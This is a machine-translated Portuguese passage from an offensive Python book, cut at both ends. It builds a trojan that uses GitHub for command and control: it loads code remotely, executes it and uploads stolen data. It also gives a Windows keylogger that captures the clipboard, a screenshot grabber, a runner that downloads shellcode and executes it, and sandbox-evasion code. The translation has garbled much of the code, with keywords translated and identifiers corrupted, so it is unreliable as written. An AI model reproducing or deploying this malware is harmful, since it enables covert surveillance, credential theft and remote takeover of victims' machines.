GitHub. Esse recurso de carregamento remoto também permitirá que você armazene bibliotecas de terceiros
no GitHub para que você não precise recompilar continuamente seu trojan sempre que quiser adicionar
novas funcionalidades ou dependências. O diretório de dados é onde o trojan fará o check-in de quaisquer dados
coletados, pressionamentos de teclas, capturas de tela e assim por diante. Agora vamos criar alguns módulos
simples e um arquivo de configuração de exemplo.

1. O repositório onde esta biblioteca está hospedada está aqui: https:// github.com/ copitux/ python-github3/.

102 Capítulo 7
www.it-ebooks.info
Machine Translated by Google

Criando Módulos
Nos capítulos posteriores, você fará negócios desagradáveis com seus cavalos de Tróia,
como registrar as teclas digitadas e tirar capturas de tela. Mas para começar, vamos criar
alguns módulos simples que podemos testar e implantar facilmente. Abra um novo arquivo
no diretório de módulos, nomeie-o como dirlister.py e insira o seguinte código:

importe-nos

def execução(**args):

print "[*] No módulo dirlister."


arquivos = os.listdir(".")

retornar str(arquivos)

Este pequeno trecho de código simplesmente expõe uma função run que lista todos
os arquivos no diretório atual e retorna essa lista como uma string. Cada módulo
desenvolvido deve expor uma função de execução que recebe um número variável de
argumentos. Isso permite carregar cada módulo da mesma maneira e deixa extensibilidade
suficiente para que você possa personalizar os arquivos de configuração para passar
argumentos para o módulo, se desejar.
Agora vamos criar outro módulo chamado Environment.py.

importe-nos

def execução(**args):
print "[*] No módulo de ambiente."
retornar str(os.ambiente)

Este módulo simplesmente recupera quaisquer variáveis de ambiente definidas em


a máquina remota na qual o trojan está sendo executado. Agora vamos enviar esse código
para nosso repositório GitHub para que ele possa ser usado por nosso trojan. Na linha de
comando, insira o seguinte código do diretório principal do repositório:

$ git add .
$ git commit -m "Adicionando novos módulos"
$ git push mestre de origem
Nome de usuário: ********
Senha: ********

Você deverá então ver seu código sendo enviado para seu repositório GitHub; sinta-se à vontade para fazer login em
sua conta e verificar novamente! É exatamente assim que você pode continuar a desenvolver código no futuro. Deixarei a
integração de módulos mais complexos para você como tarefa de casa. Se você tiver cem trojans implantados, poderá
enviar novos módulos para seu repositório GitHub e fazer o controle de qualidade deles ativando seu novo módulo em um
arquivo de configuração para sua versão local do trojan. Dessa forma, você pode testar em uma VM ou hardware host que
você controla antes de permitir que um de seus trojans remotos pegue o código e use-o.

Comando e controle do GitHub 103

www.it-ebooks.info
Machine Translated by Google

Configuração de Trojan
Queremos poder incumbir nosso trojan de realizar certas ações durante um período de
tempo. Isso significa que precisamos de uma maneira de dizer quais ações executar
e quais módulos são responsáveis por executar essas ações.
Usar um arquivo de configuração nos dá esse nível de controle e também nos permite
colocar efetivamente um trojan em suspensão (não atribuindo nenhuma tarefa a ele),
caso assim desejemos. Cada trojan implantado deve ter um identificador exclusivo,
tanto para que você possa classificar os dados recuperados quanto para controlar qual
trojan executa determinadas tarefas. Configuraremos o trojan para procurar
TROJANID.json no diretório de configuração , que retornará um documento JSON
simples que podemos analisar, converter em um dicionário Python e depois usar. O
formato JSON também facilita a alteração das opções de configuração. Vá para o
diretório de configuração e crie um arquivo chamado abc.json com o seguinte conteúdo:

[
{
"módulo": "lista de diretórios"
},
{
"módulo": "ambiente"
}
]

Esta é apenas uma lista simples de módulos que queremos que o trojan remoto
execute. Mais tarde, você verá como lemos neste documento JSON e, em seguida,
iteramos sobre cada opção para carregar esses módulos. Ao debater ideias de módulos,
você pode achar útil incluir opções de configuração adicionais, como duração da
execução, número de vezes para executar o módulo selecionado ou argumentos a
serem passados para o módulo. Entre em uma linha de comando e emita o seguinte
comando no diretório principal do repositório.

$ git add.
$ git commit -m "Adicionando configuração simples."
$ git push mestre de origem
Nome de usuário: ********
Senha: ********

Este documento de configuração é bastante simples. Você fornece uma lista


de dicionários que informam ao trojan quais módulos importar e executar. À medida
que você constrói sua estrutura, você pode adicionar funcionalidades adicionais
nessas opções de configuração, incluindo métodos de exfiltração, como mostro no
Capítulo 9. Agora que você tem seus arquivos de configuração e alguns módulos
simples para executar, você começará a construir a principal peça do trojan.

104 Capítulo 7
www.it-ebooks.info
Machine Translated by Google

Construindo um Trojan compatível com GitHub


Agora vamos criar o trojan principal que irá sugar as opções de configuração e o código
para execução no GitHub. A primeira etapa é construir o código necessário para lidar com
a conexão, autenticação e comunicação com a API GitHub. Vamos começar abrindo um novo
arquivo chamado git_trojan.py e inserindo o seguinte código:

importar JSON
importar base64
sistema de importação

hora de importação
importar imposto
importar aleatoriamente

importar threading
fila de importação
importe-nos

do login de importação do github3

você trojan_id = "abc"

trojan_config = "%s.json"% trojan_id


data_path = "dados/%s/" % trojan_id
trojan_modules = []
configurado = Falso
tarefa_queue = Fila.Queue()

Este é apenas um código de configuração simples com as importações necessárias, que


deve manter o tamanho geral do nosso trojan relativamente pequeno quando compilado.
Digo relativamente porque a maioria dos binários Python compilados usando py2exe2 têm
cerca de 7 MB. A única coisa a notar é a variável trojan_id u que identifica exclusivamente
este trojan. Se você expandisse essa técnica para um botnet completo, desejaria ter a
capacidade de gerar trojans, definir seu ID, criar automaticamente um arquivo de
configuração que fosse enviado ao GitHub e, em seguida, compilar o trojan em um executável.
Porém, não construiremos uma botnet hoje; Vou deixar sua imaginação fazer o trabalho.

Agora vamos colocar o código GitHub relevante em vigor.

def connect_to_github(): gh =
login(nomedeusuário="seunomedeusuário",senha="suasenha")
repo = gh.repository("seunomedeusuário","capítulo7")
ramo = repo.branch("mestre")

retornar gh,repo,filial

2. Você pode conferir o py2exe aqui: http:// www.py2exe.org/.

Comando e controle do GitHub 105

www.it-ebooks.info
Machine Translated by Google

def get_file_contents(caminho do arquivo):

gh,repo,branch = connect_to_github() árvore =


branch.commit.commit.tree.recurse()

para nome de arquivo em tree.tree:

se o caminho do arquivo estiver no nome do arquivo.caminho:

print "[*] Arquivo encontrado %s" % filepath blob =


repo.blob(filename._json_data['sha'])
retornar blob.content

retornar Nenhum

def get_trojan_config(): config_json


configurado global =
get_file_contents(trojan_config)
configuração = json.loads(base64.b64decode(config_json))
configurado = Verdadeiro

para tarefa na configuração:

se task['module'] não estiver em sys.modules:

exec("importar %s" % tarefa['módulo'])

configuração de retorno

def store_module_result(dados):

gh,repo,branch = connect_to_github()
caminho_remoto = "dados/%s/%d.data"% (trojan_id,random.randint(1000,100000))
repo.create_file(remote_path,"Mensagem de confirmação",base64.b64encode(dados))

retornar

Estas quatro funções representam a interação central entre o trojan


e GitHub. A função connect_to_github simplesmente autentica o usuário no
repositório e recupera o repositório atual e os objetos de ramificação para uso
por outras funções. Lembre-se de que, em um cenário real, você deseja ofuscar
esse procedimento de autenticação da melhor maneira possível. Você também
pode querer pensar sobre o que cada trojan pode acessar em seu repositório
com base em controles de acesso para que, se seu trojan for capturado,
alguém não possa aparecer e excluir todos os seus dados recuperados. A
função get_file_contents é responsável por capturar arquivos do repositório
remoto e depois ler o conteúdo localmente. Isso é usado tanto para ler as opções
de configuração quanto para ler o código-fonte do módulo. A função
get_trojan_config é responsável por recuperar o documento de configuração
remota do repositório para que seu trojan saiba quais módulos executar. E a
função final store_module_result é usada para enviar quaisquer dados que você
coletou na máquina de destino. Agora vamos criar um hack de importação para
importar arquivos remotos de nosso repositório GitHub.

106 Capítulo 7
www.it-ebooks.info
Machine Translated by Google

Hackeando a funcionalidade de importação do Python

Se você chegou até aqui no livro, sabe que usamos o método import do Python
funcionalidade para obter bibliotecas externas para que possamos usar o código contido
nelas. Queremos ser capazes de fazer a mesma coisa com nosso trojan, mas além disso,
também queremos ter certeza de que, se inserirmos uma dependência (como Scapy ou
netaddr), nosso trojan disponibilizará esse módulo para todos os módulos subsequentes
que nós puxamos. Python nos permite inserir nossa própria funcionalidade em como ele
importa módulos, de forma que se um módulo não puder ser encontrado localmente, nossa
classe de importação será chamada, o que nos permitirá recuperar remotamente a biblioteca
de nosso repositório. Isso é conseguido adicionando uma classe personalizada à lista
sys.meta_path.3 Vamos criar uma classe de carregamento personalizada agora adicionando
o seguinte código:

classe GitImporter (objeto):


def __init__(self):
""
self.current_module_code =

def find_module(self,nome completo,caminho=Nenhum):


se configurado:
print "[*] Tentando recuperar %s" % nome completo
em new_library = get_file_contents("módulos/%s" % nome completo)

se new_library não for Nenhum:


em self.current_module_code = base64.b64decode(new_library) retornar self

retornar Nenhum

def load_module(self,nome):

módulo = imp.new_module(nome) exec


self.current_module_code in module.__dict__ sys.modules[nome]
wxy = módulo

módulo de retorno

Cada vez que o interpretador tenta carregar um módulo que não está disponível,
nossa classe GitImporter é usada. A função find_module é chamada primeiro na tentativa
de localizar o módulo. Passamos esta chamada para nosso carregador de arquivos remoto u
e se pudermos localizar o arquivo em nosso repositório, decodificamos o código em
base64 e o armazenamos em nossa classe v. Ao retornar self, indicamos ao interpretador
Python que encontramos o módulo e ele pode então chamar nossa função load_module
-tion para realmente carregá-lo. Usamos o módulo imp nativo para primeiro criar um novo
objeto de módulo em branco w e, em seguida, colocamos nele o código que recuperamos
do GitHub x. A última etapa é inserir nosso módulo recém-criado na lista sys.modules y
para que ele seja capturado por quaisquer chamadas de importação futuras. Agora vamos
dar os últimos retoques no trojan e dar uma volta nele.

3. Uma explicação incrível deste processo escrita por Karol Kuczmarski pode ser encontrada
aqui: http:// xion.org.pl/ 2012/05/06/ hacking-python-imports/.

Comando e controle do GitHub 107

www.it-ebooks.info
Machine Translated by Google

def módulo_runner(módulo):

task_queue.put(1)
você resultado = sys.modules[module].run()
task_queue.get()

# armazena o resultado em nosso repositório


v store_module_result(resultado)

retornar

# loop de trojan principal


w sys.meta_path = [GitImporter()]

enquanto Verdadeiro:

se task_queue.empty():

x configuração =get_trojan_config()

para tarefa na configuração:


e t = threading.Thread(target=module_runner,args=(tarefa['módulo'],)) t.start()

tempo.sleep(random.randint(1,10))

tempo.sleep(random.randint(1000,10000))

Primeiro, adicionamos nosso importador de módulo personalizado w antes de


iniciarmos o loop principal de nosso aplicativo. O primeiro passo é pegar o arquivo de
configuração do repositório x e então iniciar o módulo em seu próprio thread y. Enquanto
estamos na função module_runner , simplesmente chamamos a função run do módulo u
para iniciar seu código. Quando a execução terminar, devemos ter o resultado em uma
string que enviamos para nosso repositório v. O final do nosso trojan ficará suspenso por
um período aleatório de tempo na tentativa de frustrar qualquer análise de padrão de rede.
É claro que você poderia criar muito tráfego para o Google.com ou qualquer outra coisa
na tentativa de disfarçar o que o seu trojan está fazendo. Agora vamos dar uma volta!

Chutando os pneus

Tudo bem! Vamos dar uma olhada nisso, executando-o na linha de comando.

AVISO Se você tiver informações confidenciais em arquivos ou variáveis de ambiente, lembre-se que sem
um repositório privado, essas informações irão para o GitHub para todo o mundo ver.
Não diga que não avisei — e é claro que você pode usar algumas técnicas de
criptografia do Capítulo 9.

108 Capítulo 7
www.it-ebooks.info
Machine Translated by Google

$ pythongit_trojan.py
[*] Arquivo encontrado abc.json
[*] Tentativa de recuperar dirlister
[*] Arquivo módulos/dirlister encontrados
[*] Tentativa de recuperar o ambiente
[*] Módulos/ambiente de arquivo encontrados
[*] No módulo dirlister
[*] No módulo de ambiente.

Perfeito. Ele se conectou ao meu repositório, recuperou o arquivo de configuração,


extraímos os dois módulos que definimos no arquivo de configuração e os executamos.
Agora, se você voltar para a linha de comando a partir do diretório do trojan-
tory, digite:

$ git pull mestre de origem


De https://github.com/blackhatpythonbook/chapter7
* ramo mestre -> FETCH_HEAD
Atualizando f4d9c1d..5225fdf
Avanço rápido
dados/abc/29008.data | 1+
dados/abc/44763.data | 2 1+
arquivos alterados, 2 inserções(+), 0 exclusões(-)
modo de criação 100644 data/abc/29008.data
modo de criação 100644 data/abc/44763.data

Incrível! Nosso trojan verificou os resultados de nossos dois módulos em execução.

Há uma série de melhorias e aprimoramentos que você pode fazer nesta


técnica central de comando e controle. A criptografia de todos os seus módulos,
configurações e dados exfiltrados seria um bom começo.
Automatizar o gerenciamento de back-end de dados suspensos, atualizar arquivos de
configuração e lançar novos cavalos de Tróia também seria necessário se você
pretendesse infectar em grande escala. À medida que você adiciona mais e mais
funcionalidades, também precisa estender a forma como o Python carrega bibliotecas dinâmicas e comp
Por enquanto, vamos trabalhar na criação de algumas tarefas de trojan independentes e
deixarei que você as integre ao seu novo trojan do GitHub.

Comando e controle do GitHub 109

www.it-ebooks.info
Machine Translated by Google

www.it-ebooks.info
Machine Translated by Google

8
Tarefa comum de trojaning W no dows

Ao implantar um trojan, você deseja realizar algumas tarefas comuns:


pressionar teclas, fazer capturas de tela e executar shellcode para fornecer
uma sessão interativa para ferramentas como CANVAS ou Metasploit.
Este capítulo se concentra nessas tarefas. Concluiremos com algumas
técnicas de detecção de sandbox para determinar se estamos
executando em um antivírus ou sandbox forense. Esses módulos serão
fáceis de modificar e funcionarão dentro da nossa estrutura de trojan.

Nos capítulos posteriores, exploraremos ataques do tipo man-in-the-browser e


técnicas de escalonamento de privilégios que você pode implantar com seu trojan.
Cada técnica apresenta seus próprios desafios e probabilidade de ser detectada
pelo usuário final ou por uma solução antivírus. Recomendo que você modele
cuidadosamente seu alvo depois de implantar seu trojan, para que possa testar os
módulos em seu laboratório antes de experimentá-los em um alvo ativo. Vamos
começar criando um keylogger simples.

www.it-ebooks.info
Machine Translated by Google

Keylogging para diversão e pressionamentos de teclas

Keylogging é um dos truques mais antigos do mundo e ainda hoje é empregado


com vários níveis de furtividade. Os invasores ainda o utilizam porque é extremamente
eficaz na captura de informações confidenciais, como credenciais ou conversas.
Uma excelente biblioteca Python chamada PyHook1 nos permite capturar
facilmente todos os eventos do teclado. Ele aproveita a função nativa do
Windows SetWindowsHookEx, que permite instalar uma função definida pelo
usuário a ser chamada para determinados eventos do Windows. Ao registrar um
gancho para eventos de teclado, podemos capturar todos os pressionamentos
de tecla emitidos por um alvo. Além disso, queremos saber exatamente em qual
processo eles estão executando essas teclas, para que possamos determinar
quando nomes de usuários, senhas ou outras informações úteis são inseridas.
PyHook cuida de toda a programação de baixo nível para nós, o que deixa a lógica
central do registrador de pressionamentos de tecla para nós. Vamos abrir o
keylogger.py e instalar alguns dos encanamentos:
*
de ctypes importar
importar pythoncom
importar pyHook
importar win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
janela_atual = Nenhum

def get_current_process():

# obtém um identificador para a janela em primeiro plano


ÿ hwnd = user32.GetForegroundWindow()

# encontre o ID do processo
pid = c_ulong(0)
ÿ user32.GetWindowThreadProcessId(hwnd, byref(pid))

# armazena o ID do processo atual


process_id = "%d"% pid.valor

# pegue o executável
executável = create_string_buffer("\x00" * 512)
ÿ h_process = kernel32.OpenProcess(0x400 | 0x10, Falso, pid)

ÿ psapi.GetModuleBaseNameA(h_process,None,byref(executável),512)

# agora leia o título


window_title = create_string_buffer("\x00" * 512)
ÿ comprimento = user32.GetWindowTextA(hwnd, byref(window_title),512)

1. Baixe o PyHook aqui: http:// sourceforge.net/ projects/ pyhook/.

112 Capítulo 8

www.it-ebooks.info
Machine Translated by Google

# imprima o cabeçalho se estivermos no processo certo


imprimir
ÿ imprimir "[ PID: %s - %s - %s ]" % (process_id, executável.value, window_¬
título.valor)
imprimir

# fechar alças
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)

Tudo bem! Então, apenas colocamos algumas variáveis auxiliares e uma função
que irá capturar a janela ativa e seu ID de processo associado. Primeiro chamamos
GetForeGroundWindow ÿ, que retorna um identificador para a janela ativa na área de
trabalho do alvo. Em seguida, passamos esse identificador para GetWindowThreadProcessId ÿ
função para recuperar o ID do processo da janela. Em seguida, abrimos o processo ÿ
e, usando o identificador de processo resultante, encontramos o nome real do
executável ÿ do processo. A etapa final é capturar o texto completo da barra de título
da janela usando a função GetWindowTextA ÿ. No final de nossa função auxiliar, exibimos
todas as informações ÿ em um belo cabeçalho para que você possa ver claramente quais
teclas foram digitadas em cada processo e janela. Agora vamos colocar a parte principal
do nosso registrador de teclas no lugar para finalizá-lo.

def KeyStroke (evento):

janela_atual global

# verifica se o alvo mudou de janela


ÿ if event.WindowName != current_window: current_window
= event.WindowName get_current_process()

# se eles pressionaram uma tecla padrão


ÿ se event.Ascii > 32 e event.Ascii < 127:
imprimir chr (evento.Ascii),
outro:
# if [Ctrl-V], obtém o valor na área de transferência
ÿ se evento.Key == "V":

win32clipboard.OpenClipboard()
valor_pastado = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()

imprimir "[PASTE] - %s" % (valor_colado),

outro:

imprimir "[%s]"% evento.Key,

# passa a execução para o próximo gancho registrado return


True

Tarefas comuns de trojan no Windows 113

www.it-ebooks.info
Machine Translated by Google

# cria e registra um gerenciador de gancho ÿ kl =


pyHook.HookManager() ÿ kl.KeyDown = KeyStroke

# registre o gancho e execute para sempre


ÿ kl.HookKeyboard()
pythoncom.PumpMessages()

Isso é tudo que você precisa! Definimos nosso PyHook HookManager ÿ e, em seguida,
vinculamos o evento KeyDown à nossa função de retorno de chamada definida pelo usuário KeyStroke ÿ.
Em seguida, instruímos o PyHook a conectar todos os pressionamentos de tecla ÿ e continuar a execução.
Sempre que o alvo pressiona uma tecla do teclado, nossa função KeyStroke é chamada com um objeto
de evento como único parâmetro. A primeira coisa que fazemos é verificar se o usuário mudou de janela
ÿ e em caso afirmativo, adquirimos o nome da nova janela e as informações do processo. Em seguida,
observamos o pressionamento de tecla emitido ÿ e, se estiver dentro do intervalo imprimível em ASCII,
simplesmente o imprimimos. Se for um modificador (como as teclas shift, ctrl ou alt ) ou qualquer outra
tecla fora do padrão, pegamos o nome da chave do objeto de evento. Também verificamos se o usuário
está realizando uma operação de colagem ÿ e, em caso afirmativo, despejamos o conteúdo da área de
transferência. A função de retorno de chamada termina retornando True para permitir que o próximo
gancho na cadeia – se houver – processe o evento. Vamos dar uma volta!

Chutando os pneus

É fácil testar nosso keylogger. Basta executá-lo e começar a usar o Windows normalmente. Tente usar
seu navegador, calculadora ou qualquer outro aplicativo e veja os resultados em seu terminal. A saída
abaixo vai parecer um pouco errada, o que se deve apenas à formatação do livro.

C:\>python keylogger-hook.py

[ PID: 3836 - cmd.exe - C:\WINDOWS\system32\cmd.exe - c:


\Python27\python.exe key logger-hook.py ]

teste

[PID: 120 - IEXPLORE.EXE - Bing - Microsoft Internet Explorer]

www . nostarca . com [Retornar]

[ PID: 3836 - cmd.exe - C:\WINDOWS\system32\cmd.exe - c:


\Python27\python.exe keylogger-hook.py ]

[Lwin] r

[PID: 1944 - Explorer.EXE - Executar]

114 Capítulo 8
www.it-ebooks.info
Machine Translated by Google

calcular [Retornar]

[PID: 2848 - calc.exe - Calculadora]

1 [Lshift] + 1 =

Você pode ver que digitei a palavra teste na janela principal onde o script do
keylogger foi executado. Em seguida, liguei o Internet Explorer, naveguei até
www.nostarch.com, e executei alguns outros aplicativos. Agora podemos dizer com
segurança que nosso keylogger pode ser adicionado ao nosso pacote de truques de
trojan! Vamos prosseguir com a captura de tela.

Tirando capturas de tela


A maioria das estruturas de malware e testes de penetração inclui a capacidade de
fazer capturas de tela do alvo remoto. Isso pode ajudar a capturar imagens, quadros
de vídeo ou outros dados confidenciais que você talvez não veja com uma captura de
pacote ou keylogger. Felizmente, podemos usar o pacote PyWin32 (consulte “Instalando
os pré-requisitos” na página 138) para fazer chamadas nativas à API do Windows
para obtê-los.
Um capturador de captura de tela usará a interface de dispositivo gráfico do
Windows (GDI) para determinar as propriedades necessárias, como o tamanho total da
tela, e para capturar a imagem. Alguns softwares de captura de tela capturam apenas
uma imagem da janela ou aplicativo atualmente ativo, mas no nosso caso queremos a
tela inteira. Vamos começar. Abra screenshotter.py e insira o seguinte código:

importar win32gui
importar win32ui
importar win32con
importar win32api

# pegue uma alça na janela principal da área de trabalho


ÿhdesktop = win32gui.GetDesktopWindow()

#determina o tamanho de todos os monitores em pixels


ÿ largura = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) altura =
win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
esquerda = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
topo=win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

#crie um contexto de dispositivo


ÿ desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc=win32ui.CreateDCFromHandle(desktop_dc)

# cria um contexto de dispositivo baseado em memória


ÿ mem_dc = img_dc.CreateCompatibleDC()

Tarefas comuns de trojan no Windows 115

www.it-ebooks.info
Machine Translated by Google

# cria um objeto bitmap


ÿ captura de tela = win32ui.CreateBitmap()
captura de tela.CreateCompatibleBitmap (img_dc, largura, altura)
mem_dc.SelectObject (captura de tela)

#copie a tela para o contexto do nosso dispositivo de memória


ÿ mem_dc.BitBlt((0, 0), (largura, altura), img_dc, (esquerda, topo), win32con.SRCCOPY)

ÿ # salva o bitmap em um arquivo


captura de tela.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp')

#libere nossos objetos


mem_dc.DeleteDC()
win32gui.DeleteObject(captura de tela.GetHandle())

Vamos revisar o que esse pequeno script faz. Primeiro adquirimos um identificador para o
toda a área de trabalho ÿ, que inclui toda a área visível em vários monitores. Em seguida, determinamos
o tamanho da(s) tela(s) ÿ para sabermos as dimensões necessárias para a captura de tela. Criamos um
contexto de dispositivo2
usando a chamada de função GetWindowDC ÿ e passando um identificador para nossa área de trabalho.
Em seguida, precisamos criar um contexto de dispositivo baseado em memória ÿ onde armazenaremos
nossa captura de imagem até armazenarmos os bytes de bitmap em um arquivo. Em seguida, criamos
um objeto bitmap ÿ que é definido para o contexto do dispositivo da nossa área de trabalho.
A chamada SelectObject então define o contexto do dispositivo baseado em memória para apontar para
o objeto bitmap que estamos capturando. Usamos a função BitBlt ÿ para fazer uma cópia bit a bit da
imagem da área de trabalho e armazená-la no contexto baseado em memória. Pense nisso como uma
chamada memcpy para objetos GDI. A etapa final é despejar esta imagem no disco ÿ. Este script é fácil
de testar: basta executá-lo na linha de comando e verificar o diretório C:\WINDOWS\Temp para sua captura
de tela.bmp
arquivo. Vamos prosseguir para a execução do shellcode.

Execução Pythonic Shellcode


Pode chegar um momento em que você queira interagir com uma de suas máquinas alvo ou usar um
novo módulo de exploração de seu teste de penetração ou estrutura de exploração favorita. Isso
normalmente – embora nem sempre – requer alguma forma de execução de shellcode. Para executar
o shellcode bruto, precisamos simplesmente criar um buffer na memória e, usando o módulo ctypes ,
criar um ponteiro de função para essa memória e chamar a função. No nosso caso, usaremos urllib2 para
obter o shellcode de um servidor web no formato base64 e depois executá-lo. Vamos começar! Abra
shell_exec.py e digite o seguinte código:

importar urllib2
importar ctypes
importar base64

2. Para saber tudo sobre contextos de dispositivos e programação GDI, visite a página do MSDN aqui:
http:// msdn.microsoft.com/ en-us/ library/ windows/ desktop/ dd183553(v=vs.85).aspx.

116 Capítulo 8

www.it-ebooks.info
Machine Translated by Google

# recupera o shellcode do nosso servidor web


url = "http://localhost:8000/shellcode.bin"
ÿ resposta = urllib2.holiday(url)

# decodifica o shellcode de base64


shellcode = base64.b64decode(response.read())

#cria um buffer na memória


ÿ shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))

#criamos um ponteiro de função para nosso shellcode


ÿ shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE¬
(ctypes.c_void_p))

# chame nosso shellcode


ÿ shellcode_func()

Quão incrível é isso? Começamos recuperando nosso código base64


shellcode do nosso servidor web ÿ. Em seguida, alocamos um buffer ÿ para armazenar
o shellcode depois de decodificá-lo. A função de conversão ctypes nos permite converter o
buffer para agir como um ponteiro de função ÿ para que possamos chamar nosso código
shell como chamaríamos qualquer função Python normal. Terminamos chamando nosso
ponteiro de função, o que faz com que o shellcode execute ÿ.

Chutando os pneus

Você pode codificar manualmente algum shellcode ou usar sua estrutura de pentesting
favorita, como CANVAS ou Metasploit3, para gerá-lo para você. Eu escolhi um shellcode
de retorno de chamada do Windows x86 para CANVAS no meu caso. Armazene o
shellcode bruto (não o buffer de string!) em /tmp/ shellcode.raw em sua máquina
Linux e execute o seguinte:

justin$ base64 -i shellcode.raw > shellcode.bin


justin$ python -m SimpleHTTPServer
Servindo HTTP na porta 0.0.0.0 8000 ...

Simplesmente codificamos o shellcode em base64 usando a linha de comando


padrão do Linux. O próximo pequeno truque usa o módulo SimpleHTTPServer para
tratar seu diretório de trabalho atual (no nosso caso, /tmp/) como sua raiz web.
Quaisquer solicitações de arquivos serão atendidas automaticamente para você. Agora
coloque seu script shell_exec.py em sua VM do Windows e execute-o. Você deverá ver o
seguinte em seu terminal Linux:

192.168.112.130 - - [12/Jan/2014 21:36:30] "OBTER /shellcode.bin HTTP/1.1" 200 -

3. Como CANVAS é uma ferramenta comercial, dê uma olhada neste tutorial para gerar cargas úteis do
Metasploit aqui: http:// www.offensive-security.com/ metasploit-unleashed/ Generating_Payloads.

Tarefas comuns de trojan no Windows 117

www.it-ebooks.info
Machine Translated by Google

Isso indica que seu script recuperou o shellcode do servidor web simples que
você configurou usando o módulo SimpleHTTPServer . Se tudo correr bem, você
receberá um shell de volta em sua estrutura e abrirá calc.exe ou exibirá uma caixa de
mensagem ou qualquer que seja o código do shell para o qual foi compilado.

Detecção de sandbox

Cada vez mais, as soluções antivírus empregam alguma forma de sandbox para
determinar o comportamento de amostras suspeitas. Quer esta sandbox seja
executada no perímetro da rede, que está se tornando mais popular, ou na própria
máquina alvo, devemos fazer o nosso melhor para evitar qualquer defesa existente na
rede do alvo. Podemos usar alguns indicadores para tentar determinar se nosso trojan
está sendo executado em uma sandbox.
Monitoraremos nossa máquina de destino em busca de entradas recentes do usuário, incluindo
pressionamentos de teclas e cliques do mouse.

Em seguida, adicionaremos alguma inteligência básica para procurar


pressionamentos de teclas, cliques do mouse e cliques duplos. Nosso script também
tentará determinar se o operador do sandbox está enviando entradas repetidamente
(ou seja, uma rápida sucessão suspeita de cliques contínuos do mouse) para tentar
responder aos métodos rudimentares de detecção do sandbox. Compararemos a
última vez que um usuário interagiu com a máquina e há quanto tempo a máquina
está funcionando, o que deve nos dar uma boa ideia se estamos dentro de uma
sandbox ou não. Uma máquina típica tem muitas interações em algum momento
durante um dia desde que foi inicializada, enquanto um ambiente sandbox geralmente
não tem interação do usuário porque sandboxes são normalmente usados como uma
técnica automatizada de análise de malware.
Podemos então decidir se gostaríamos de continuar executando ou não. Vamos começar a
trabalhar em algum código de detecção de sandbox.
Abra sandbox_detect.py e insira o seguinte código:

importar ctypes
importar aleatoriamente

hora de importação
sistema de importação

user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32

pressionamentos =0

de tecla =0

mouse_clicks double_clicks= 0

Estas são as principais variáveis nas quais rastrearemos o número total de


cliques do mouse, cliques duplos e pressionamentos de teclas. Posteriormente,
veremos também o tempo dos eventos do mouse. Agora vamos criar e testar algum código

118 Capítulo 8

www.it-ebooks.info
Machine Translated by Google

para detectar há quanto tempo o sistema está funcionando e há quanto tempo desde a
última entrada do usuário. Adicione a seguinte função ao seu script sandbox_detect.py :

classe LASTINPUTINFO(ctypes.Estrutura):
_campos_ = [("cbSize", ctypes.c_uint),
("dwTime", ctypes.c_ulong)
]

def get_last_input():

struct_lastinputinfo = LASTINPUTINFO() ÿ
struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO)

# obtém a última entrada registrada


ÿ user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))

#agora determine há quanto tempo a máquina está funcionando


ÿ run_time = kernel32.GetTickCount()

decorrido = run_time - struct_lastinputinfo.dwTime

print "[*] Já se passaram %d milissegundos desde o último evento de entrada." % ¬


decorrido

retorno decorrido

# CÓDIGO DE TESTE REMOVA APÓS ESTE PARÁGRAFO!


ÿ enquanto
Verdadeiro: get_last_input()
hora.sleep(1)

Definimos uma estrutura LASTINPUTINFO que armazenará o carimbo de data/


hora (em milissegundos) de quando o último evento de entrada foi detectado no
sistema. Observe que você deve inicializar a variável cbSize ÿ com o tamanho da
estrutura antes de fazer a chamada. Em seguida, chamamos a função GetLastInputInfo
ÿ, que preenche nosso campo struct_lastinputinfo.dwTime com o carimbo de data/hora.
A próxima etapa é determinar há quanto tempo o sistema está em execução usando
a chamada de função GetTickCount ÿ. O último pequeno trecho de código ÿ é um
código de teste simples onde você pode executar o script e mover o mouse ou
pressionar uma tecla do teclado e ver esse novo trecho de código em ação.
Definiremos limites para esses valores de entrada do usuário a seguir. Mas
primeiro vale a pena notar que o tempo total do sistema em execução e o último
evento de entrada do usuário detectado também podem ser relevantes para o seu
método específico de implantação. Por exemplo, se você sabe que está implantando
apenas uma tática de phishing, é provável que um usuário tenha clicado ou realizado
alguma operação para ser infectado. Isso significa que nos últimos dois minutos, você
verá a entrada do usuário. Se, por algum motivo, você perceber que a máquina está
funcionando há 10 minutos e a última entrada detectada foi há 10 minutos, provavelmente
você está dentro de uma sandbox que não processou nenhuma entrada do usuário.
Esses julgamentos fazem parte de um bom trojan que funciona de forma consistente.

Tarefas comuns de trojan no Windows 119

www.it-ebooks.info
Machine Translated by Google

Esta mesma técnica pode ser útil para sondar o sistema para ver se um usuário está
ocioso ou não, pois você só pode querer começar a fazer capturas de tela quando ele
